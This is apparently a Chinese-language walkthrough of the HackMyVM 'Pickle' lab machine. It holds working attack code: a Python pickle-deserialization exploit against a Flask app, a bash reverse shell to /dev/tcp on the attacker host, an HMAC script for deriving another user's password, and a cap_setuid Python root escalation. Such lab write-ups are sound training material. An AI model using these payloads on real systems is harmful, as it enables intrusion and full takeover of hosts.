Pickle
信息搜集
端口扫描
┌──(kali💀kali)-[~/temp/Pickle]
└─$ rustscan -a $IP -- -sCV
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Real hackers hack time ⌛
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.10.105:21
Open 192.168.10.105:1337
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.10.102
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x 1 0 0 1306 Oct 12 2020 init.py.bak
1337/tcp open http syn-ack Werkzeug httpd 1.0.1 (Python 2.7.16)
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Werkzeug/1.0.1 Python/2.7.16
| http-auth:
| HTTP/1.0 401 UNAUTHORIZED\x0D
|_ Basic realm=Pickle login
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Unix
漏洞发现
敏感端口测试
查看一下ftp
服务内容:
┌──(kali💀kali)-[~/temp/Pickle]
└─$ ftp $IP
Connected to 192.168.10.105.
220 (vsFTPd 3.0.3)
Name (192.168.10.105:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||6295|)
150 Here comes the directory listing.
-rwxr-xr-x 1 0 0 1306 Oct 12 2020 init.py.bak
226 Directory send OK.
ftp> get init.py.bak
local: init.py.bak remote: init.py.bak
229 Entering Extended Passive Mode (|||31148|)
150 Opening BINARY mode data connection for init.py.bak (1306 bytes).
100% |************************************************************************************************************************************************| 1306 32.87 KiB/s 00:00 ETA
226 Transfer complete.
1306 bytes received in 00:00 (31.28 KiB/s)
ftp> exit
221 Goodbye.
┌──(kali💀kali)-[~/temp/Pickle]
└─$ cat init.py.bak
from functools import wraps
from flask import *
import hashlib
import socket
import base64
import pickle
import hmac
app = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")
@app.route('/', methods=["GET", "POST"])
def index_page():
'''
__index_page__()
'''
if request.method == "POST" and request.form["story"] and request.form["submit"]:
md5_encode = hashlib.md5(request.form["story"]).hexdigest()
paths_page = "/opt/project/uploads/%s.log" %(md5_encode)
write_page = open(paths_page, "w")
write_page.write(request.form["story"])
return "The message was sent successfully!"
return render_template("index.html")
@app.route('/reset', methods=["GET", "POST"])
def reset_page():
'''
__reset_page__()
'''
pass
@app.route('/checklist', methods=["GET", "POST"])
def check_page():
'''
__check_page__()
'''
if request.method == "POST" and request.form["check"]:
path_page = "/opt/project/uploads/%s.log" %(request.form["check"])
open_page = open(path_page, "rb").read()
if "p1" in open_page:
open_page = pickle.loads(open_page)
return str(open_page)
else:
return open_page
else:
return "Server Error!"
return render_template("checklist.html")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337, debug=True)
踩点,发现存在验证:
没有其他的办法,尝试爆破,但是未果。
UDP服务扫描
┌──(kali💀kali)-[~/temp/Pickle]
└─$ sudo nmap -sU -top 100 $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 04:01 EDT
Stats: 0:02:05 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 99.99% done; ETC: 04:04 (0:00:00 remaining)
Nmap scan report for 192.168.10.105
Host is up (0.00089s latency).
Not shown: 96 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
161/udp open snmp
631/udp open|filtered ipp
5353/udp open|filtered zeroconf
MAC Address: 08:00:27:C5:BC:73 (Oracle VirtualBox virtual NIC)
检查一下snmp
服务,查看一下有啥命令:https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp#enumerating-snmp
尝试检索一下:
┌──(kali💀kali)-[~/temp/Pickle]
└─$ snmpwalk -v X -c public $IP
Invalid version specified after -v flag: X
USAGE: snmpwalk [OPTIONS] AGENT [OID]
Version: 5.9.4.pre2
Web: http://www.net-snmp.org/
Email: net-snmp-coders@lists.sourceforge.net
OPTIONS:
-h, --help display this help message
-H display configuration file directives understood
-v 1|2c|3 specifies SNMP version to use
-V, --version display package version number
SNMP Version 1 or 2c specific
-c COMMUNITY set the community string
SNMP Version 3 specific
-a PROTOCOL set authentication protocol (MD5|SHA|SHA-224|SHA-256|SHA-384|SHA-512)
-A PASSPHRASE set authentication protocol pass phrase
-e ENGINE-ID set security engine ID (e.g. 800000020109840301)
-E ENGINE-ID set context engine ID (e.g. 800000020109840301)
-l LEVEL set security level (noAuthNoPriv|authNoPriv|authPriv)
-n CONTEXT set context name (e.g. bridge1)
-u USER-NAME set security name (e.g. bert)
-x PROTOCOL set privacy protocol (DES|AES|AES-192|AES-256)
-X PASSPHRASE set privacy protocol pass phrase
-Z BOOTS,TIME set destination engine boots/time
General communication options
-r RETRIES set the number of retries
-t TIMEOUT set the request timeout (in seconds)
Debugging
-d dump input/output packets in hexadecimal
-D[TOKEN[,...]] turn on debugging output for the specified TOKENs
(ALL gives extremely verbose debugging output)
General options
-m MIB[:...] load given list of MIBs (ALL loads everything)
-M DIR[:...] look in given list of directories for MIBs
(default: $HOME/.snmp/mibs:/usr/share/snmp/mibs:/usr/share/snmp/mibs/iana:/usr/share/snmp/mibs/ietf)
-P MIBOPTS Toggle various defaults controlling MIB parsing:
u: allow the use of underlines in MIB symbols
c: disallow the use of "--" to terminate comments
d: save the DESCRIPTIONs of the MIB objects
e: disable errors when MIB symbols conflict
w: enable warnings when MIB symbols conflict
W: enable detailed warnings when MIB symbols conflict
R: replace MIB symbols from latest module
-O OUTOPTS Toggle various defaults controlling output display:
0: print leading 0 for single-digit hex characters
a: print all strings in ascii format
b: do not break OID indexes down
e: print enums numerically
E: escape quotes in string indices
f: print full OIDs on output
n: print OIDs numerically
p PRECISION: display floating point values with specified PRECISION (printf format string)
q: quick print for easier parsing
Q: quick print with equal-signs
s: print only last symbolic element of OID
S: print MIB module-id plus last element
t: print timeticks unparsed as numeric integers
T: print human-readable text along with hex strings
u: print OIDs using UCD-style prefix suppression
U: don't print units
v: print values only (not OID = value)
x: print all strings in hex format
X: extended index format
-I INOPTS Toggle various defaults controlling input parsing:
b: do best/regex matching to find a MIB node
h: don't apply DISPLAY-HINTs
r: do not check values for range/type legality
R: do random access to OID labels
u: top-level OIDs must have '.' prefix (UCD-style)
s SUFFIX: Append all textual OIDs with SUFFIX before parsing
S PREFIX: Prepend all textual OIDs with PREFIX before parsing
-L LOGOPTS Toggle various defaults controlling logging:
e: log to standard error
o: log to standard output
n: don't log at all
f file: log to the specified file
s facility: log to syslog (via the specified facility)
(variants)
[EON] pri: log to standard error, output or /dev/null for level 'pri' and above
[EON] p1-p2: log to standard error, output or /dev/null for levels 'p1' to 'p2'
[FS] pri token: log to file/syslog for level 'pri' and above
[FS] p1-p2 token: log to file/syslog for levels 'p1' to 'p2'
-C APPOPTS Set various application specific behaviours:
p: print the number of variables found
i: include given OID in the search range
I: don't include the given OID, even if no results are returned
c: do not check returned OIDs are increasing
t: Display wall-clock time to complete the walk
T: Display wall-clock time to complete each request
E {OID}: End the walk at the specified OID
┌──(kali💀kali)-[~/temp/Pickle]
└─$ snmpwalk -v 1 -c public $IP
iso.3.6.1.2.1.1.1.0 = STRING: "Linux pickle 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (121922) 0:20:19.22
iso.3.6.1.2.1.1.4.0 = STRING: "lucas:SuperSecretPassword123!"
iso.3.6.1.2.1.1.5.0 = STRING: "pickle"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (57) 0:00:00.57
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (55) 0:00:00.55
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (57) 0:00:00.57
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (122955) 0:20:29.55
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E8 09 0C 04 0E 02 00 2D 04 00
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/boot/vmlinuz-4.19.0-11-amd64 root=UUID=1612bec5-c369-4a38-a5d9-61c9328c9afa ro quiet
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 68
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
End of MIB
找到一组密钥:
lucas
SuperSecretPassword123!
当成账号密码发现可以登录1337
端口:
路由分析
源代码如下:
from functools import wraps
from flask import *
import hashlib
import socket
import base64
import pickle
import hmac
app = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")
@app.route('/', methods=["GET", "POST"])
def index_page():
'''
__index_page__()
'''
if request.method == "POST" and request.form["story"] and request.form["submit"]:
# 检查 POST 数据中中的 `story` 和 `submit` 两个变量
md5_encode = hashlib.md5(request.form["story"]).hexdigest()
# md5 加密 story 的数据
paths_page = "/opt/project/uploads/%s.log" %(md5_encode)
write_page = open(paths_page, "w")
write_page.write(request.form["story"])
# 记录日志信息
return "The message was sent successfully!"
return render_template("index.html")
@app.route('/reset', methods=["GET", "POST"])
def reset_page():
'''
__reset_page__()
'''
pass
@app.route('/checklist', methods=["GET", "POST"])
def check_page():
'''
__check_page__()
'''
if request.method == "POST" and request.form["check"]:
path_page = "/opt/project/uploads/%s.log" %(request.form["check"])
open_page = open(path_page, "rb").read()
if "p1" in open_page:
# 如果 p1 字段存在,则反序列化
open_page = pickle.loads(open_page)
return str(open_page)
else:
return open_page
else:
return "Server Error!"
return render_template("checklist.html")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337, debug=True)
存在三组路由:
/
/reset
/checklist
多的不解释了,这个逻辑看起来不难,尝试一下:
┌──(kali💀kali)-[~/temp/Pickle]
└─$ curl -s -u 'lucas:SuperSecretPassword123!' http://192.168.10.105:1337/ -d "story=hgbe02"
..........
<!--
Traceback (most recent call last):
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2464, in __call__
return self.wsgi_app(environ, start_response)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2450, in wsgi_app
response = self.handle_exception(e)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1867, in handle_exception
reraise(exc_type, exc_value, tb)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2447, in wsgi_app
response = self.full_dispatch_request()
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1952, in full_dispatch_request
rv = self.handle_user_exception(e)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1821, in handle_user_exception
reraise(exc_type, exc_value, tb)
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1950, in full_dispatch_request
rv = self.dispatch_request()
File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1936, in dispatch_request
return self.view_functions[rule.endpoint](**req.view_args)
File "/opt/project/project.py", line 30, in decorated
return f(*args, **kwargs)
File "/opt/project/project.py", line 39, in index_page
if request.method == "POST" and request.form["story"] and request.form["submit"]:
File "/usr/local/lib/python2.7/dist-packages/werkzeug/datastructures.py", line 442, in __getitem__
raise exceptions.BadRequestKeyError(key)
BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand.
KeyError: 'submit'
-->
┌──(kali💀kali)-[~/temp/Pickle]
└─$ curl -s -u 'lucas:SuperSecretPassword123!' http://192.168.10.105:1337/ -d "story=hgbe02&submit=%E6%8F%90%E4%BA%A4"
The message was sent successfully!
┌──(kali💀kali)-[~/temp/Pickle]
└─$ echo -n 'hgbe02' | md5sum
105abaedc26fb12d3fd5440a6ea8e27c -
┌──(kali💀kali)-[~/temp/Pickle]
└─$ curl -s -u 'lucas:SuperSecretPassword123!' http://192.168.10.105:1337/checklist -d "check=105abaedc26fb12d3fd5440a6ea8e27c"
hgbe02
通过报错,发现python版本为python2.7
,同时也可以使用md5找到文件!
pickle利用
尝试进行反序列化利用,这里直接引用别的师傅写好的脚本辣:
#coding:utf-8
import os
import cPickle
import hashlib
import requests
class CommandExecute(object):
def __reduce__(self):
return (os.system, ('ping -c 1 192.168.10.102',))
convert_data = cPickle.dumps(CommandExecute())
convert_crypt = hashlib.md5(convert_data).hexdigest()
send_requests = requests.post('http://192.168.10.105:1337/', data={"story":convert_data, "submit":"Submit+Query"}, auth=("lucas", "SuperSecretPassword123!"))
check_requests = requests.post('http://192.168.10.105:1337/checklist', data={"check":convert_crypt}, auth=("lucas", "SuperSecretPassword123!"))
print(check_requests.text)
多次运行发现可以ping成功!
┌──(kali💀kali)-[~/temp/Pickle]
└─$ python2 exp.py 2>/dev/null
0
┌──(kali💀kali)-[~/temp/Pickle]
└─$ sudo tcpdump -i eth1 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes
05:20:44.205898 IP 192.168.10.105 > 192.168.10.102: ICMP echo request, id 491, seq 1, length 64
05:20:44.205941 IP 192.168.10.102 > 192.168.10.105: ICMP echo reply, id 491, seq 1, length 64
05:21:08.452970 IP 192.168.10.105 > 192.168.10.102: ICMP echo request, id 495, seq 1, length 64
05:21:08.452988 IP 192.168.10.102 > 192.168.10.105: ICMP echo reply, id 495, seq 1, length 64
修改相关命令,反弹shell!
bash -c "exec bash -i &>/dev/tcp/192.168.10.102/1234 <&1"
提权
信息搜集
(remote) lucas@pickle:/home/lucas$ whoami;id
lucas
uid=1000(lucas) gid=1000(lucas) groups=1000(lucas),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
(remote) lucas@pickle:/home/lucas$ ls -la
total 32
drwxr-xr-x 3 lucas lucas 4096 Oct 11 2020 .
drwxr-xr-x 4 root root 4096 Oct 12 2020 ..
-rw------- 1 lucas lucas 1 Oct 12 2020 .bash_history
-rw-r--r-- 1 lucas lucas 220 Oct 11 2020 .bash_logout
-rw-r--r-- 1 lucas lucas 3526 Oct 11 2020 .bashrc
drwxr-xr-x 3 lucas lucas 4096 Oct 11 2020 .local
-rw-r--r-- 1 lucas lucas 807 Oct 11 2020 .profile
-rw-r--r-- 1 lucas lucas 66 Oct 11 2020 .selected_editor
(remote) lucas@pickle:/home/lucas$ sudo -l
bash: sudo: command not found
(remote) lucas@pickle:/home/lucas$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/umount
/usr/bin/su
(remote) lucas@pickle:/home/lucas$ cd /opt
(remote) lucas@pickle:/opt$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Oct 11 2020 .
drwxr-xr-x 18 root root 4096 Oct 11 2020 ..
drwxr-xr-x 5 root root 4096 Oct 12 2020 project
(remote) lucas@pickle:/opt$ cd project/
(remote) lucas@pickle:/opt/project$ ls -la
total 24
drwxr-xr-x 5 root root 4096 Oct 12 2020 .
drwxr-xr-x 3 root root 4096 Oct 11 2020 ..
-rwxr-xr-x 1 root root 2654 Oct 12 2020 project.py
drwxr-xr-x 4 root root 4096 Oct 11 2020 static
drwxr-xr-x 2 root root 4096 Oct 11 2020 templates
drwxrwxrwx 2 root root 4096 Sep 12 05:28 uploads
(remote) lucas@pickle:/opt/project$ cat project.py
from functools import wraps
from flask import *
import hashlib
import socket
import base64
import pickle
import hmac
app = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")
def check_auth(username, password):
"""This function is called to check if a username /
password combination is valid.
"""
return username == 'lucas' and password == 'SuperSecretPassword123!'
def authenticate():
"""Sends a 401 response that enables basic auth"""
return Response(
'Could not verify your access level for that URL.\n'
'You have to login with proper credentials', 401,
{'WWW-Authenticate': 'Basic realm="Pickle login"'})
def requires_auth(f):
@wraps(f)
def decorated(*args, **kwargs):
auth = request.authorization
if not auth or not check_auth(auth.username, auth.password):
return authenticate()
return f(*args, **kwargs)
return decorated
@app.route('/', methods=["GET", "POST"])
@requires_auth
def index_page():
'''
__index_page__()
'''
if request.method == "POST" and request.form["story"] and request.form["submit"]:
md5_encode = hashlib.md5(request.form["story"]).hexdigest()
paths_page = "/opt/project/uploads/%s.log" %(md5_encode)
write_page = open(paths_page, "w")
write_page.write(request.form["story"])
return "The message was sent successfully!"
return render_template("index.html")
@app.route('/reset', methods=["GET", "POST"])
@requires_auth
def reset_page():
'''
__reset_page__()
'''
if request.method == "POST" and request.form["username"] and request.form["key"]:
key = "dpff43f3p214k31301"
raw = request.form["username"] + key + socket.gethostbyname(socket.gethostname())
hashed = hmac.new(key, raw, hashlib.sha1)
if request.form["key"] == hashed.hexdigest():
return base64.b64encode(hashed.digest().encode("base64").rstrip("\n"))
else:
return "Server Error!"
return render_template("reset.html")
@app.route('/checklist', methods=["GET", "POST"])
@requires_auth
def check_page():
'''
__check_page__()
'''
if request.method == "POST" and request.form["check"]:
path_page = "/opt/project/uploads/%s.log" %(request.form["check"])
open_page = open(path_page, "rb").read()
if "p1" in open_page:
open_page = pickle.loads(open_page)
return str(open_page)
else:
return open_page
else:
return "Server Error!"
return render_template("checklist.html")
@app.route('/console')
@requires_auth
def secret_page():
return "Server Error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337, debug=True)
(remote) lucas@pickle:/opt/project$ cd uploads
(remote) lucas@pickle:/opt/project/uploads$ ls -la
total 28
drwxrwxrwx 2 root root 4096 Sep 12 05:28 .
drwxr-xr-x 5 root root 4096 Oct 12 2020 ..
-rw-r--r-- 1 lucas lucas 6 Sep 12 04:32 105abaedc26fb12d3fd5440a6ea8e27c.log
-rw-r--r-- 1 lucas lucas 58 Sep 12 05:21 110207bbd89a69ddcf2b2aebb3b380d5.log
-rw-r--r-- 1 lucas lucas 91 Sep 12 05:28 8c809790306c09de2a350426a25d7de3.log
-rw-r--r-- 1 lucas lucas 4 Sep 12 04:24 b59c67bf196a4758191e42f76670ceba.log
-rw-r--r-- 1 lucas lucas 9 Sep 12 04:24 bbb8aae57c104cda40c93843ad5e6db8.log
(remote) lucas@pickle:/opt/project/uploads$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
lucas:x:1000:1000:lucas,,,:/home/lucas:/bin/bash
mark:x:1001:1001::/home/mark:/bin/bash
利用
尝试使用脚本进行利用:
import hashlib
import socket
import base64
import hmac
user=['lucas', 'mark']
for i in user:
key = "dpff43f3p214k31301"
raw = i + key + socket.gethostbyname(socket.gethostname())
hashed = hmac.new(key, raw, hashlib.sha1)
print("[+] USER:",i)
print(base64.b64encode(hashed.digest().encode("base64").rstrip("\n")))
尝试运行:
(remote) lucas@pickle:/opt/project/uploads$ cd /tmp
(remote) lucas@pickle:/tmp$ nano exp.py&&chmod +x exp.py
(remote) lucas@pickle:/tmp$ python2 exp.py
('[+] USER:', 'lucas')
YTdYYTB1cDFQOTBmeEFwclVXZVBpTCtmakx3PQ==
('[+] USER:', 'mark')
SUk5enROY2FnUWxnV1BUWFJNNXh4amxhc00wPQ==
尝试修改密码以及切换用户:
(remote) lucas@pickle:/tmp$ passwd lucas
Changing password for lucas.
Current password:
New password:
# lucas
Retype new password:
You must choose a longer password
New password:
Retype new password:
passwd: password updated successfully
# lucas123456
python的capabilities权限提权root
mark@pickle:~$ ls -la
total 3640
drwxr-x--- 4 mark mark 4096 Oct 12 2020 .
drwxr-xr-x 4 root root 4096 Oct 12 2020 ..
-rw------- 1 mark mark 1 Oct 12 2020 .bash_history
-rw-r--r-- 1 mark mark 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 mark mark 3526 Apr 18 2019 .bashrc
drwx------ 3 mark mark 4096 Oct 12 2020 .gnupg
drwxr-xr-x 3 mark mark 4096 Oct 11 2020 .local
-rw-r--r-- 1 mark mark 807 Apr 18 2019 .profile
-rwxr-xr-x 1 root root 3689352 Oct 11 2020 python2
-rw-r----- 1 mark mark 33 Oct 11 2020 user.txt
mark@pickle:~$ cat user.txt
e25fd1b9248d1786551e3412adc74f6f
mark@pickle:~$ whereis python2
python2: /usr/bin/python2.7 /usr/bin/python2.7-config /usr/bin/python2 /usr/lib/python2.7 /etc/python2.7 /usr/local/lib/python2.7 /usr/include/python2.7 /usr/share/man/man1/python2.1.gz
mark@pickle:~$ ls -la /usr/bin/python2.7
-rwxr-xr-x 1 root root 3689352 Oct 10 2019 /usr/bin/python2.7
mark@pickle:~$ ls -la /usr/bin/python2
lrwxrwxrwx 1 root root 9 Mar 4 2019 /usr/bin/python2 -> python2.7
mark@pickle:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/umount
/usr/bin/su
mark@pickle:~$ /usr/sbin/getcap -r / 2>/dev/null
mark@pickle:~$ whereis getcap
getcap: /usr/bin/getcap /usr/share/man/man8/getcap.8.gz
mark@pickle:~$ /usr/bin/getcap -r / 2>/dev/null
/home/mark/python2 = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep
尝试进行提权:https://gtfobins.github.io/gtfobins/python/#capabilities
mark@pickle:~$ /home/mark/python2 -c 'import os; os.setuid(0); os.system("/bin/bash")'
参考
https://drive.google.com/file/d/14qAw3wP1dKjuXlpfLfbkvaxVcqS2Uk7d/view?usp=sharing
https://tryhackmyoffsecbox.github.io/Target-Machines-WriteUp/docs/HackMyVM/Machines/Pickle/